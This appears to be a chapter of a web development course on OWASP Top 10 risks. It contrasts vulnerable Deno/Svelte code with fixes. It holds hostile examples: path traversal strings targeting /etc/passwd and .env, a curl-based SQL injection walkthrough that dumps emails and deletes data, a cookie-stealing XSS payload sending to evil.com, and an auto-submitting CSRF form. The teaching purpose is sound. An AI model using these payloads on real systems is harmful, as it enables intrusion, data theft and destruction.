Users and Security

Web Security Essentials


Learning Objectives

  • You understand the most common security risks in web applications.
  • You know how to prevent common vulnerabilities in your applications.
  • You can recognize security issues in code and know how to fix them.
  • You understand that security is an ongoing process, not a one-time checklist.

Throughout this part, we’ve built authentication, authorization, role-based access control, and input validation. Now, let’s take a broader view of web application security to learn about the most critical risks you should be aware of.

Thousands of websites are compromised every day. As security vulnerabilities are continuously discovered and exploited, every developer needs to understand the basics of building secure software. The significant cybersecurity workforce shortage means that security cannot be left solely to specialists.

The rise of AI-assisted coding tools introduces new challenges. These tools may generate code with security flaws, and developers may trust the output without careful review. Always validate and test generated code, especially for security-critical functions.

Most security issues stem from lack of awareness, poor practices, insufficient testing, outdated dependencies, and configuration errors. Security isn’t just a technical problem — it’s organizational. Companies must allocate resources to maintain security as new vulnerabilities emerge constantly.

OWASP Top 10

The Open Web Application Security Project (OWASP) is a nonprofit foundation working to improve software security. They maintain the OWASP Top 10, which lists the ten most critical security risks in web applications. Here, we’ll explore several of these risks with practical examples and see how to prevent them.

The 2025 version of the OWASP Top 10 is expected to be released in November 2025. This chapter has been last revised in October 2025 — we’ll update the content at some point once the new version is published.


Loading Exercise...

Broken Access Control

Broken Access Control occurs when users can access resources or perform actions they shouldn’t be allowed to. This was the #1 risk in OWASP’s 2021 Top 10. We’ve already addressed many access control issues through authentication, authorization, and role-based access control. However, access control can break in subtle ways.

Insecure Direct Object Reference

Consider a book ratings API endpoint that fetches a rating by ID. If implemented without proper checks, any authenticated user could view any rating by simply guessing IDs:

app.get("/api/ratings/:id", middlewares.authenticate, async (c) => {
  const ratingId = parseInt(c.req.param("id"));
  const rating = await sql`SELECT * FROM book_ratings WHERE id = ${ratingId}`;

  if (!rating[0]) {
    return c.json({ error: "Rating not found" }, 404);
  }

  return c.json(rating[0]);
});

A malicious user could iterate through IDs to download all ratings in the system. The fix is to always verify ownership:

app.get("/api/ratings/:id", middlewares.authenticate, async (c) => {
  const user = c.get("user");
  const ratingId = parseInt(c.req.param("id"));

  // Only fetch ratings that belong to the authenticated user
  const rating = await sql`
    SELECT * FROM book_ratings
    WHERE id = ${ratingId} AND user_id = ${user.id}
  `;

  if (!rating[0]) {
    return c.json({ error: "Rating not found" }, 404);
  }

  return c.json(rating[0]);
});

Now users can only access their own ratings. Attempting to access someone else’s rating returns 404, not revealing whether it exists.

Although book ratings might not be a very sensitive resource, this pattern applies to any user-specific data like messages, orders, or personal information.

Loading Exercise...

Missing function-level access control

Another common mistake is forgetting to check roles for privileged operations. An endpoint that deletes users should verify that the requester is an administrator:

app.delete("/api/admin/users/:id", middlewares.authenticate, async (c) => {
  const userId = parseInt(c.req.param("id"));
  await sql`DELETE FROM users WHERE id = ${userId}`;
  return c.json({ message: "User deleted" });
});

The fix is simple — we’ve already implemented a middleware for checking whether the user has the “ADMIN” role:

app.delete(
  "/api/admin/users/:id",
  middlewares.authenticate,
  middlewares.requireAnyRole("ADMIN"),
  async (c) => {
    const userId = parseInt(c.req.param("id"));
    await sql`DELETE FROM users WHERE id = ${userId}`;
    return c.json({ message: "User deleted" });
  }
);

Path traversal

Path traversal attacks exploit insufficient validation of file paths. Consider an endpoint that serves images covers:

app.get("/api/images/:filename", async (c) => {
  const filename = c.req.param("filename");
  const content = await Deno.readFile(`./uploads/${filename}`);
  return new Response(content);
});

A malicious user could access arbitrary files using paths like ../../../etc/passwd or ../.env. The fix requires validating and sanitizing file paths — below, we use Deno’s path module to construct safe paths:

import { join, normalize } from "jsr:@std/path";

app.get("/api/images/:filename", async (c) => {
  const filename = c.req.param("filename");

  // Validate filename format
  if (!/^[a-zA-Z0-9_-]+\.(jpg|png|webp)$/.test(filename)) {
    return c.json({ error: "Invalid filename" }, 400);
  }

  // Construct safe path
  const uploadsDir = join(Deno.cwd(), "uploads");
  const filePath = normalize(join(uploadsDir, filename));

  // Ensure file is within uploads directory
  if (!filePath.startsWith(uploadsDir)) {
    return c.json({ error: "Invalid path" }, 400);
  }

  try {
    const content = await Deno.readFile(filePath);

    // Set appropriate content type based on extension
    const ext = filename.split('.').pop();
    const contentType = {
      'jpg': 'image/jpeg',
      'jpeg': 'image/jpeg',
      'png': 'image/png',
      'webp': 'image/webp',
    }[ext] || 'application/octet-stream';

    return new Response(content, {
      headers: {
        'Content-Type': contentType,
      },
    });
  } catch (error) {
    return c.json({ error: "File not found" }, 404);
  }
});

The key principles for preventing broken access control are denying by default, validating on the server, checking ownership, enforcing role-based access, and logging access failures. Remember that client-side restrictions are for user experience only — real security must be enforced on the server.

Loading Exercise...

SQL Injection

Injection flaws allow attackers to execute malicious code. SQL Injection specifically allows executing arbitrary SQL commands against your database. We’ve been using the postgres library throughout this course, which protects against SQL injection by default through parameterized queries.

How SQL injection works

Consider a poorly implemented API endpoint that inserts names into a database. The following code is vulnerable because it concatenates user input directly into the SQL query:

// NEVER EVER DO THIS
const createName = async (name) => {
  const query = "INSERT INTO names (name) VALUES ('" + name + "')";
  // assuming that the query would be executed next
};

The following example is intended for educational purposes only. Exploiting such vulnerabilities without permission is illegal and unethical.

Let’s see how this vulnerability can be exploited step by step. We start with normal use — posting a name to the database works as expected:

$ curl -X POST -d "name=Hello" http://localhost:8000/api/names
$ curl http://localhost:8000/api/names
[{"id":81,"name":"Hello"}]

Now we test whether we can insert multiple names by injecting additional SQL:

$ curl -X POST -d "name=Hello2'),('Hello3'),('Hello4" http://localhost:8000/api/names
$ curl http://localhost:8000/api/names
[{"id":81,"name":"Hello"},{"id":82,"name":"Hello2"},{"id":83,"name":"Hello3"},{"id":84,"name":"Hello4"}]

It works! At this point, we know the application is likely vulnerable to full SQL injection. After some experimentation with table names, we discover the table is called names and has a column called name. Now we can do serious damage.

We figure out all the database tables by reading from information_schema.tables and inserting the results into the names table where we can retrieve them. The -- at the end starts a comment, causing the SQL code after our injection to be ignored:

$ curl -X POST -d "name=Discovering tables'); INSERT INTO names (name) SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';-- -" http://localhost:8000/api/names
$ curl http://localhost:8000/api/names
[{"id":289,"name":"Discovering tables"},{"id":290,"name":"names"},{"id":291,"name":"songs"},{"id":292,"name":"messages"},{"id":293,"name":"news"},{"id":294,"name":"users"}]

We’ve discovered a users table! Now we look into its columns:

$ curl -X POST -d "name=Finding columns'); INSERT INTO names (name) SELECT column_name FROM information_schema.columns WHERE table_name = 'users';-- -" http://localhost:8000/api/names
$ curl http://localhost:8000/api/names
[{"id":301,"name":"Finding columns"},{"id":302,"name":"id"},{"id":303,"name":"email"},{"id":304,"name":"password"}]

The users table has email and password columns. Now we can extract all user emails:

$ curl -X POST -d "name=Stealing data'); INSERT INTO names (name) SELECT email FROM users;-- -" http://localhost:8000/api/names
$ curl http://localhost:8000/api/names
[...,{"id":306,"name":"my@email.net"},{"id":307,"name":"email@email.net"},{"id":308,"name":"mail@mail.net"},{"id":309,"name":"my@mail.net"},{"id":310,"name":"secret@email.net"}]

We could similarly extract passwords, and we could do other destructive things. For example, we could delete all data from the database:

$ curl -X POST -d "name=Destruction'); DELETE FROM names;-- -" http://localhost:8000/api/names
$ curl http://localhost:8000/api/names
[]

The database is now empty. All data is gone.

Prevention through parameterized queries

The vulnerability exists because user input was concatenated directly into the SQL query. The postgres library prevents SQL injection automatically through parameterized queries:

// This is what we've been using
const createName = async (name) => {
  await sql`INSERT INTO names (name) VALUES (${name})`;
};

With parameterized queries, the postgres library preprocesses the query, distinguishing between SQL code and parameters. All parameters are handled as values, not SQL code. Even if we add SQL code as a parameter, it’s treated as a string and not executed.

The XKCD comic “Exploits of a Mom” illustrates this perfectly:

XKCD comic showing SQL injection attack through a student name

In that scenario, a student named Robert'); DROP TABLE students;-- would cause vulnerable code to execute the DROP TABLE command. With parameterized queries, the postgres library treats the entire string as a name value, simply creating a student with that unusual name.

The essential rules are always using parameterized queries, never concatenating strings into SQL, and validating input before database queries. Throughout this course, we’ve used parameterized queries everywhere — this is essential.

Loading Exercise...

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) is an injection attack where malicious scripts are injected into trusted websites. Unlike SQL injection which targets the server, XSS targets users’ browsers.

How XSS works

An attacker injects malicious JavaScript that gets stored in your database (stored XSS), reflected in server responses (reflected XSS), or executed through DOM manipulation (DOM-based XSS). When other users view the page, their browsers execute this malicious code.

Consider a book review feature without proper escaping where the reviews contain both ratings and a textual review:

<script>
  import { PUBLIC_API_URL } from "$env/static/public";

  let reviews = $state([]);

  const fetchReviews = async () => {
    const response = await fetch(`${PUBLIC_API_URL}/api/reviews/1`);
    reviews = await response.json();
  };

  $effect(() => {
    fetchReviews();
  });
</script>

{#each reviews as review}
  <div>
    <strong>{review.rating}/5</strong>
    <div>{@html review.review}</div> <!-- VULNERABLE! -->
  </div>
{/each}

A malicious user could submit a review containing <script>document.location='https://evil.com/steal?cookie='+document.cookie</script>. When other users view this review, their browser executes the malicious script, which steals their cookies including session tokens.

Cookies can be set to be HTTPOnly, preventing JavaScript access. However, if the session token is stored in localStorage or accessible via JavaScript, it can be stolen.

The above is an example of a stored XSS attack, where the malicious script is saved in the database and affects every user who views it. Reflected XSS echoes malicious input back to users through search results or error messages — imagine, e.g., a system that appends search terms to the page without escaping them.

Loading Exercise...

Prevention through automatic escaping

Svelte protects against XSS by default through automatic escaping:

{#each reviews as review}
  <div>
    <strong>{review.rating}/5</strong>
    <div>{review.review}</div> <!-- Special characters are escaped -->
  </div>
{/each}

When a review contains <script>alert('XSS')</script>, Svelte renders it as &lt;script&gt;alert('XSS')&lt;/script&gt;. The browser displays the text instead of executing it. Users see the literal text: <script>alert('XSS')</script>.

We’ve intentionally used just the version that escapes HTML throughout this course. Always prefer this safe approach.

Only use {@html} for content you completely control and trust. For additional protection, you can add Content Security Policy headers to prevent inline scripts, use HTTPOnly cookies so JavaScript cannot access session tokens, validate and sanitize input on the server, and if you must use {@html}, sanitize the content with a library like DOMPurify.

Loading Exercise...

Cross-Site Request Forgery (CSRF)

CSRF attacks trick users into executing unwanted actions on websites where they’re authenticated. The attack works because browsers automatically include cookies with requests to a domain.

How CSRF works

Consider this scenario: a user logs into bookratings.com and receives a cookie. While still logged in, they visit evil.com in another tab. The malicious site contains a form that automatically submits a request to bookratings.com. Since the browser includes the user’s session cookie, the request appears legitimate and posts a rating on their behalf.

<!-- On evil.com -->
<form action="https://bookratings.com/api/ratings" method="POST">
  <input type="hidden" name="book_id" value="1">
  <input type="hidden" name="rating" value="1">
  <input type="hidden" name="review" value="This site sucks!">
</form>

<script>
  document.forms[0].submit();
</script>

Prevention strategies

We use JWT tokens in Authorization headers throughout this course, which provides protection because tokens must be explicitly added by JavaScript and aren’t automatically sent by browsers. If using cookies for authentication, setting the sameSite attribute to strict ensures cookies are only sent for same-site requests:

Another approach is using CSRF tokens — unique tokens generated for each session that must be included with state-changing requests. The server validates that the token matches the session before processing the request. You can also verify the Origin header to ensure requests come from allowed domains. Similarly, you could require re-authentication for sensitive actions, such as changing passwords or deleting accounts, if the session is older than a certain threshold.

Loading Exercise...

Cryptographic Failures

Cryptographic Failures occur when sensitive data is not properly protected. Common mistakes include storing passwords in plaintext, using weak hashing algorithms like MD5 or SHA1, not using HTTPS in production, exposing sensitive data in API responses, logging passwords or tokens, and storing secrets directly in code.

We’ve been mostly following good practices throughout this course. Passwords are hashed using scrypt, a modern and secure algorithm. We do not return password hashes in API responses.

However, we’ve hardcoded secrets in the code; in real use cases, they should be stored in environment variables.

We’ll look briefly into what enabling HTTPS requires when learning to deploy our applications later on in the course.

Security Misconfiguration

Security Misconfiguration happens when security settings are incorrectly configured or left at insecure defaults. This includes verbose error messages in production that reveal internal details, default credentials that are never changed, unnecessary features left enabled, missing security headers, and overly permissive CORS configurations.

Vulnerable and Outdated Components

Using Components with Known Vulnerabilities is a major risk. Libraries and frameworks regularly discover security vulnerabilities that must be patched promptly.

Check for version updates regularly by running deno outdated to check for available updates and deno update to update the libraries to the latest versions. At the same time, to avoid supply chain attacks, always review the changelogs for breaking changes and security fixes before updating.

A supply chain attack occurs when an attacker compromises a third-party library or dependency to inject malicious code into your application. This can happen if you use a library with known vulnerabilities or if the library itself is compromised.

Loading Exercise...

Security Logging and Monitoring

Security Logging and Monitoring Failures prevent detecting and responding to breaches. Log security events like failed login attempts, successful logins, access control failures, and admin actions. Each log entry should include relevant context like user ID, IP address, and timestamp.

Do not log sensitive data like passwords or tokens.

As a part of logging and monitoring, one can also implement rate limiting to prevent brute force attacks on login endpoints. For an existing middleware, check out hono-rate-limiter.

Security needs continuous learning

Security is not a one-time effort — it’s an ongoing process that requires continuous learning. New vulnerabilities are discovered constantly, and attack techniques evolve. The OWASP Cheat Sheet Series offers quick security references, and the OWASP Testing Guide provides comprehensive testing methodology.

Aalto University offers a full Master’s Programme focused in Security and Cloud Computing. For further reading, you can also visit the Cyber Security Base course series by the University of Helsinki and F-Secure.

Summary

In summary:

  • Security is a process that requires continuous learning as new vulnerabilities emerge constantly.
  • The OWASP Top 10 provides a list of the most critical web application security risks that every developer should understand, including:
    • Broken Access Control allows access to resources users should not be able to access and allows performing privileged actions without proper credentials.
    • SQL Injection allows executing arbitrary SQL commands against your database by inserting malicious SQL code through user inputs.
    • Cross-Site Scripting (XSS) enables injecting malicious JavaScript into web pages that gets executed in other users’ browsers.
    • Cross-Site Request Forgery (CSRF) tricks authenticated users into unknowingly performing unwanted actions on websites where they’re logged in.
    • Cryptographic Failures expose sensitive data through poor security practices like storing passwords in plaintext.
    • Security Misconfiguration creates vulnerabilities through incorrect settings such as verbose error messages in production.
    • Vulnerable and Outdated Components introduce security risks when applications use libraries with known vulnerabilities.
    • Security Logging and Monitoring Failures prevent organizations from detecting breaches and responding to attacks.